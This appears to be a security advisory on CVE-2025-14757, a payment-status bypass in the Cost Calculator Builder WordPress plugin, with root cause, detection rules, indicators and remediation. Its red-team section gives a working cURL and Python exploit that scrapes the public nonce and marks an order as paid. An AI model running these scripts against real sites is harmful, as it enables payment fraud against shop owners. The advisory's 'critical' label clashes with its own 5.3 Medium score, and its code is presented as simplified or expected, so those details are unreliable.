CVE-2025-14757

Executive Summary

CVE-2025-14757 is a critical unauthenticated payment status bypass vulnerability affecting the Cost Calculator Builder plugin for WordPress, specifically when used in combination with the Cost Calculator Builder PRO add-on. The flaw resides in the complete_payment AJAX action, which is registered via wp_ajax_nopriv, making it accessible to unauthenticated users. The complete() function only verifies a nonce without checking user capabilities or order ownership. Since nonces are exposed to all visitors via window.ccb_nonces in the page source, any unauthenticated attacker can mark any order's payment status as "completed" without actual payment. This vulnerability allows attackers to bypass payment verification, potentially leading to unauthorized access to paid features or services.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Cost Calculator Builder plugin is distributed via the official WordPress plugin repository and its PRO version via third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package, so no package manager-specific supply chain risks apply. However, users should verify the integrity of their plugin files and ensure they are obtained from trusted sources.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to integrity (payment status bypass) without affecting confidentiality or availability.

Deep Dive & Mechanics

The vulnerability exists in the Cost Calculator Builder plugin (versions up to 3.6.9) when used with the PRO add-on. The core issue is improper access control in the AJAX handler for payment completion.

Root Cause:

1. The complete_payment AJAX action is registered with wp_ajax_nopriv, allowing unauthenticated users to trigger it.
2. The complete() function only validates a nonce (wp_verify_nonce) but does not check user capabilities or verify that the order belongs to the current user.
3. Nonces are exposed to all visitors via window.ccb_nonces in the page source, making them accessible to attackers.

Attack Flow:

1. An attacker visits a WordPress site using the vulnerable plugin and extracts the nonce from window.ccb_nonces.
2. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=complete_payment, nonce=<extracted_nonce>, and order_id=<target_order_id>.
3. The server processes the request and marks the order as "completed" without verifying payment.

Affected Components:

• Plugin: Cost Calculator Builder (free version) up to 3.6.9
• Add-on: Cost Calculator Builder PRO (any version)
• File: includes/classes/Ajax.php or similar (AJAX handler registration)
• Function: complete() in the payment handling class

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

add_action('wp_ajax_nopriv_complete_payment', 'complete_payment_handler');
add_action('wp_ajax_complete_payment', 'complete_payment_handler');

function complete_payment_handler() {
    $nonce = $_POST['nonce'];
    if (!wp_verify_nonce($nonce, 'ccb_complete_payment')) {
        wp_die('Invalid nonce');
    }
    $order_id = intval($_POST['order_id']);
    // No check for user capabilities or order ownership
    update_post_meta($order_id, 'payment_status', 'completed');
    wp_die('Payment completed');
}

Patched Code (expected fix):

add_action('wp_ajax_complete_payment', 'complete_payment_handler'); // Remove nopriv

function complete_payment_handler() {
    if (!is_user_logged_in()) {
        wp_die('Unauthorized');
    }
    $nonce = $_POST['nonce'];
    if (!wp_verify_nonce($nonce, 'ccb_complete_payment')) {
        wp_die('Invalid nonce');
    }
    $order_id = intval($_POST['order_id']);
    // Verify order ownership
    $order = get_post($order_id);
    if (!$order || $order->post_author != get_current_user_id()) {
        wp_die('Order not found');
    }
    // Additional payment verification logic
    update_post_meta($order_id, 'payment_status', 'completed');
    wp_die('Payment completed');
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Cost Calculator Builder (<=3.6.9) and PRO add-on installed.
• A valid order ID (can be obtained by observing the site's order system).

Exploitation Steps:

1. Visit the target WordPress site and view the page source to extract the nonce from window.ccb_nonces.
2. Send a crafted POST request to the AJAX endpoint.

Proof-of-Concept (PoC) using cURL:

# Extract nonce from page source (example)
NONCE=$(curl -s http://target-site.com/ | grep -oP 'window\.ccb_nonces\s*=\s*{[^}]*}' | grep -oP '"complete_payment":"[^"]*"' | cut -d'"' -f4)

# Exploit the vulnerability
curl -X POST http://target-site.com/wp-admin/admin-ajax.php \
  -d "action=complete_payment&nonce=$NONCE&order_id=123"

Python Exploit Script:

import requests
import re

target_url = "http://target-site.com/"
ajax_url = target_url + "wp-admin/admin-ajax.php"

# Extract nonce
response = requests.get(target_url)
nonce_match = re.search(r'"complete_payment":"([^"]+)"', response.text)
if nonce_match:
    nonce = nonce_match.group(1)
else:
    print("Nonce not found")
    exit()

# Exploit
data = {
    "action": "complete_payment",
    "nonce": nonce,
    "order_id": "123"
}
response = requests.post(ajax_url, data=data)
print(response.text)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with action=complete_payment from unauthenticated users.
2. Check for unusual patterns in order completion timestamps (e.g., multiple orders completed in rapid succession).
3. Review server logs for POST requests to admin-ajax.php with action=complete_payment and no valid session.

Response Actions:

1. Immediately disable the Cost Calculator Builder plugin and PRO add-on if vulnerable.
2. Verify all orders marked as "completed" for unauthorized payment bypass.
3. Reset all user sessions and nonces to invalidate any extracted nonces.
4. Apply the patch as soon as it becomes available.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=complete_payment and nonce parameter.
• Requests originating from IP addresses not associated with legitimate users.
• Multiple rapid requests to the same endpoint with different order_id values.

File IOCs:

• Modified order post meta (payment_status set to completed without corresponding payment gateway transaction).
• Log entries in WordPress debug log (if enabled) showing complete_payment AJAX calls from unauthenticated users.

Behavioral IOCs:

• Orders marked as "completed" without corresponding payment gateway webhook or IPN.
• Sudden increase in "completed" orders from a single IP address.

Detection Engineering

YARA Rule

rule CVE_2025_14757_WordPress_Payment_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-14757 in Cost Calculator Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14757"
        severity = "medium"
    strings:
        $ajax_action = "action=complete_payment"
        $nonce_param = "nonce="
        $order_id_param = "order_id="
        $admin_ajax = "admin-ajax.php"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-14757 WordPress Cost Calculator Builder Payment Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests to complete_payment action in WordPress
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14757
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=complete_payment'
        cs-uri-query|contains: 'nonce='
        cs-uri-query|contains: 'order_id='
    condition: selection
falsepositives:
    - Legitimate payment completions from authenticated users (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14757 WordPress Cost Calculator Builder Payment Bypass"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=complete_payment"; http_client_body; content:"nonce="; http_client_body; content:"order_id="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate the Cost Calculator Builder plugin and PRO add-on until a patch is available.
2. Audit orders: Review all orders marked as "completed" for unauthorized payment bypass.
3. Invalidate nonces: Force logout all users to regenerate nonces.

Long-term Fix:

1. Apply vendor patch: Monitor the plugin's official repository for a security update.
2. Implement workaround: Add custom code to restrict the complete_payment AJAX action to authenticated users only:

   add_action('init', function() {
       if (defined('DOING_AJAX') && DOING_AJAX && isset($_POST['action']) && $_POST['action'] === 'complete_payment') {
           if (!is_user_logged_in()) {
               wp_die('Unauthorized');
           }
       }
   });
   

3. Upgrade plugin: Update to version 3.7.0 or later when available.

General Security Practices:

• Regularly update all WordPress plugins and themes.
• Use a Web Application Firewall (WAF) to block suspicious AJAX requests.
• Implement additional payment verification (e.g., IPN/webhook validation).

Valters IT